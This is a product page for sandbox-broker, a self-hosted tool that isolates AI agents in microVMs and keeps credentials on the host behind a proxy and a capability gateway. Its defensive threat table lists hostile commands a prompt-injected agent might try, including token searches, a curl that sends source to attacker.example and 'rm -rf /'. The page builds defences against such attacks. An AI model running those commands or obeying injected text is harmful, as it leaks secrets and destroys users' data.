self-hosted · Firecracker microVMs · Rust
Let an agent run code without handing it your keys.
sandbox-broker gives each agent a virtual machine of its own, on a host you run. The machine has a disk and a toolchain and nothing worth stealing: no network card, no token, no key. Data can leave it in exactly three ways, and each one is a process on the host that checks, limits and records what goes through.
One machine per agent, three ways out
Your tooling reaches in
WHAT LEAVES Command output and files, to the tooling that asked for them and nowhere else.
GUARDED BY A socket per agent. The sandbox cannot start a call; it only answers.
Internet by hostname
WHAT LEAVES Anything the code can read, but only to a hostname on the sandbox's list.
GUARDED BY A proxy on the host. The list is empty by default and you can cut it at any time.
The host acts for it
WHAT LEAVES What a named operation carries: a push to a branch under bot/, one API request.
GUARDED BY A menu, a grant and limits. The credential never enters the sandbox.
Why build it this way
An agent that runs code runs what its model was talked into running. A README, a web page, an issue comment or a dependency's install script can each steer it, and you wrote none of them. So the question that matters is what that code can reach, and where what it reads can go.
Put the credential in the sandbox
A token in an environment variable, and open internet. The agent can work. So can anything that steers it: the token is a file read and one request away from leaving, and it works from anywhere until someone revokes it.
Keep the credential on the host
The sandbox holds nothing and can dial nothing. It asks the host for one named thing. The host checks the request against what you allowed, does it with a key the sandbox never sees, and keeps a record.
1 Control your tooling → sandbox
The broker serves a small HTTP API. Your tooling uses it to create a sandbox, run commands in it, put files in and read results out. It is the only one of the three that the sandbox cannot start: every call begins on the host.
- Started from outsideThe sandbox has no way to call this API. It is asked, and it answers.
- The socket is the identityEach agent has a Unix socket of its own, and the kernel says which user connected. There is no API key to leak.
- One agent, its own sandboxesAnother agent's sandbox answers
404, the same as one that does not exist. - Nothing passed on rawEverything the sandbox sends back is parsed and rewritten into the API's own shapes before a client sees it.
- Bounded readsCommand output is capped (16 MiB by default, and the command is killed there). A file read is one regular file of 64 MiB at most; a symlink is never followed.
- Checked on the way inBy default, an upload, an argument or an environment variable shaped like a well-known credential is refused, so a token is not placed in a sandbox by mistake. An operator can exempt named environment variables of a command, per agent.
- Recorded, not readEach command's arguments and each file moved go to a private audit. Output is streamed to the caller; the broker neither stores it nor logs it.
Show the calls
SOCK=/run/sandbox-broker/mybot/api.sock
b() { curl -s --unix-socket "$SOCK" "$@"; }
b -X POST http://broker/v1/sandboxes -d '{"profile": "deps-npm"}'
{"name": "sw-mybot-1", "status": "running", …}
b -X POST http://broker/v1/sandboxes/sw-mybot-1/commands \
-d '{"command": "npm", "args": ["test"]}'
{"stream": "stdout", "data": "…"}
{"exit_code": 0, "duration_ms": 48213}
b 'http://broker/v1/sandboxes/sw-mybot-1/files?path=report.json'
More: every call, detached commands, streams into the sandbox, lifetimes and budgets.
2 Network sandbox → internet
The guest has no network device. Programs in it use ordinary proxy settings, which lead over a virtual socket to a proxy process on the host: one per sandbox, holding that sandbox's list of hostnames. Whether a connection is made is decided there.
- Off by defaultThe profile
deny-allallows no name at all, DNS included. - By hostname, on the hostA profile is a list of names you write per agent. The sandbox cannot resolve or dial anything itself.
- Public addresses onlyEvery address a name resolves to is checked. One that points at your LAN or the host is refused, even when the name is on the list.
- Port 443 onlyPlain HTTP is not carried.
- Tightening cutsWhen a sandbox's profile is narrowed, connections the new list forbids are closed at once.
- No quiet wideningPer agent, a running sandbox's list may only shrink, or may switch among that agent's named profiles. It never becomes every name.
- Not left openA sandbox off
deny-allfor 15 minutes (or the limit its profile sets) is switched back, with a notice five minutes before. - CountedBytes in and out per session, and which names were asked for and refused, go to the private audit. Contents never do.
Show the config and the calls
# the broker's config: this agent's profiles
[agents.mybot]
switch = "tighten-only"
profiles.deps-npm = { allow = ["registry.npmjs.org"] }
profiles.deps-py = { allow = ["pypi.org", "files.pythonhosted.org"] }
# fetch, tighten, run b -X POST http://broker/v1/sandboxes -d '{"profile": "deps-npm"}' # … npm ci … b -X PUT http://broker/v1/sandboxes/sw-mybot-1/profile \ -d '{"profile": "deny-all"}' # … now run what the model wrote …
3 Capabilities sandbox → host → a tool or an API
Some work needs a credential: cloning a private repository, pushing a branch, calling an API. A capability is one such operation, named on a menu you write. The code in the sandbox asks for it over a local socket, and a gateway on the host carries it out with a credential that stays on the host.
- Identity from the kernelEach sandbox's calls arrive as a user of its own. A caller cannot claim to be another, and headers that try are stripped.
- A menu and a grantOnly operations you listed exist, only for the agents you granted them to, and only for the repositories the grant names.
- The shape is checkedMethod, path (segment for segment against a template), query keys and headers are each matched against the menu entry. Anything else is refused.
- The key stays on the hostThe gateway attaches the credential. For GitHub it mints a token per call, for one repository, with the permissions the entry lists.
- A push is read firstEvery branch a push would change is checked: a required prefix, protected branches, no deletes or moves unless allowed. One bad ref refuses the whole push.
- Refused before sentA refusal happens on the host. Nothing reaches the far end and no token is minted for it.
- Limits on every entryIn flight, per minute and per day, plus request and response sizes.
- Revocation cutsTaking a grant away ends the calls using it, mid-stream.
- Every call recordedWho, which capability, the path, granted or why refused, and the sizes. Never a body.
Show the config and the calls
# the gateway's menu (abridged) [capabilities."git.push"] kind = "git_push" upstream = "github" # a GitHub App; its key stays here permissions = { contents = "write" } branch_prefix = "bot/" ceiling = { per_day = 100, per_minute = 10, concurrent = 2, … } # the broker's config: who holds it, and for what [agents.mybot.grants."git.push"] scope = { repos = ["acme/web"] }
# in the sandbox: no token anywhere git clone cap::github/acme/web git push origin HEAD:bot/fix-123 git push origin HEAD:main # ^ refused on the host: 403, scope curl --unix-socket "$SB_CAP_SOCK" \ http://cap/call/github.pr/repos/acme/web/pulls \ -H 'content-type: application/json' \ -d '{"title": "Fix 123", "head": "bot/fix-123", "base": "main"}'
More: the four kinds of capability, writing a menu, grants, and adding a tool of your own.
What hostile code meets
Suppose a comment in an issue talks the model into trying something else. This is what each attempt runs into.
| the code in the sandbox tries | what happens |
|---|---|
env | grep -i token, reading every file on the disk |
There is nothing to find. By default no credential is put in the guest (an operator may name one environment variable to pass on a command), and the token the gateway uses never leaves the host. |
curl https://attacker.example -d @src.tar |
No route. The guest has no network device. Under deny-all the proxy answers no name at all; under a list, only the names on it. |
git push origin HEAD:main |
Refused on the host (403, scope). The push names a branch outside bot/, so no token is minted and no byte of it reaches GitHub. |
git clone cap::github/acme/payroll |
Refused the same way. The grant names acme/web. A token is only ever minted for one repository that the grant reaches. |
| Opening pull requests in a loop | 429 once the capability's limit for the minute or the day is spent. |
sudo rm -rf /, a fork bomb, filling the disk |
It breaks its own machine. Root in the guest is expected and is not root on the host. CPUs, memory, disk and lifetime are fixed from outside; delete the sandbox and make another. |
| Anything, after you have noticed | Revoke the sandbox. Its network goes to nothing and its grants are taken away. Connections and calls in flight are cut, and that sandbox can never be widened again. |
The rest of it, briefly
A real machine, quickly
A Firecracker microVM per sandbox, booted in about two seconds: Ubuntu 24.04 with git, Node, Python and Rust. The agent can be root, install packages and run servers.
Workspaces that last
Stop a sandbox and resume it later on the same disk. Start a new one from a copy of another's. Idle, expired and orphaned sandboxes are swept up for you.
Budgets, and no model inside
CPU budgets per day and month and caps on running sandboxes. It is plain HTTP and JSON over a Unix socket, for any language, any model and any agent framework.
- It is one host. No cluster and no scheduler. The API is a Unix socket, so your tooling runs on the same machine. It needs Linux with KVM.
- One sandbox is one level of trust. There are no walls inside a sandbox. Code that must not spend a grant, or see a file, belongs in a different sandbox.
Where it stands, December 2026. Sandboxes, the control API and the network proxy are deployed on the author's host. The capability gateway is tested end to end from a real guest under Firecracker, against a stand-in for GitHub, and runs on the same host. It was run against GitHub itself on 4 December 2026, for one private scratch repository: clone, push, a pull request, every refusal and a live revoke, with no token found anywhere afterwards. No agent yet holds a grant for a repository that matters.
A whole task, end to end: fix a bug and open a pull request
An agent called mybot works on the private repository acme/web, with the menu and the grant shown above. At no point is there a GitHub token inside the sandbox.
-
Create a sandbox
With the npm registry reachable and three grants. The call returns once the guest has booted.
1 · controlb -X POST http://broker/v1/sandboxes -d '{ "profile": "deps-npm", "grants": ["git.fetch", "git.push", "github.pr"] }' {"name": "sw-mybot-1", "status": "running", …} -
Clone and install
Git reaches the private repository through the gateway, which fetches with a read-only token for
3 · capabilities 2 · networkacme/web.npm cigoes through the proxy.b -X POST http://broker/v1/sandboxes/sw-mybot-1/commands \ -d '{"command": "git", "args": ["clone", "cap::github/acme/web"]}' b -X POST http://broker/v1/sandboxes/sw-mybot-1/commands \ -d '{"command": "npm", "args": ["ci"], "cwd": "/work/sandbox/web"}' -
Cut the network, then let the agent loose
From here the code can edit, build and test, and has nowhere to send what it reads.
1 · controlb -X PUT http://broker/v1/sandboxes/sw-mybot-1/profile \ -d '{"profile": "deny-all"}' b -X POST http://broker/v1/sandboxes/sw-mybot-1/commands \ -d '{"command": "npm", "args": ["test"], "cwd": "/work/sandbox/web"}' -
Push the branch, open the pull request
Both run inside the guest, by the agent's own code.
3 · capabilities# in the guest git push origin HEAD:bot/fix-123 curl --unix-socket "$SB_CAP_SOCK" \ http://cap/call/github.pr/repos/acme/web/pulls \ -H 'content-type: application/json' \ -d '{"title": "Fix 123", "head": "bot/fix-123", "base": "main"}' -
Keep it or throw it away
Delete it and its disk goes too. Or make it persistent, stop it, and resume it tomorrow.
1 · controlb -X DELETE http://broker/v1/sandboxes/sw-mybot-1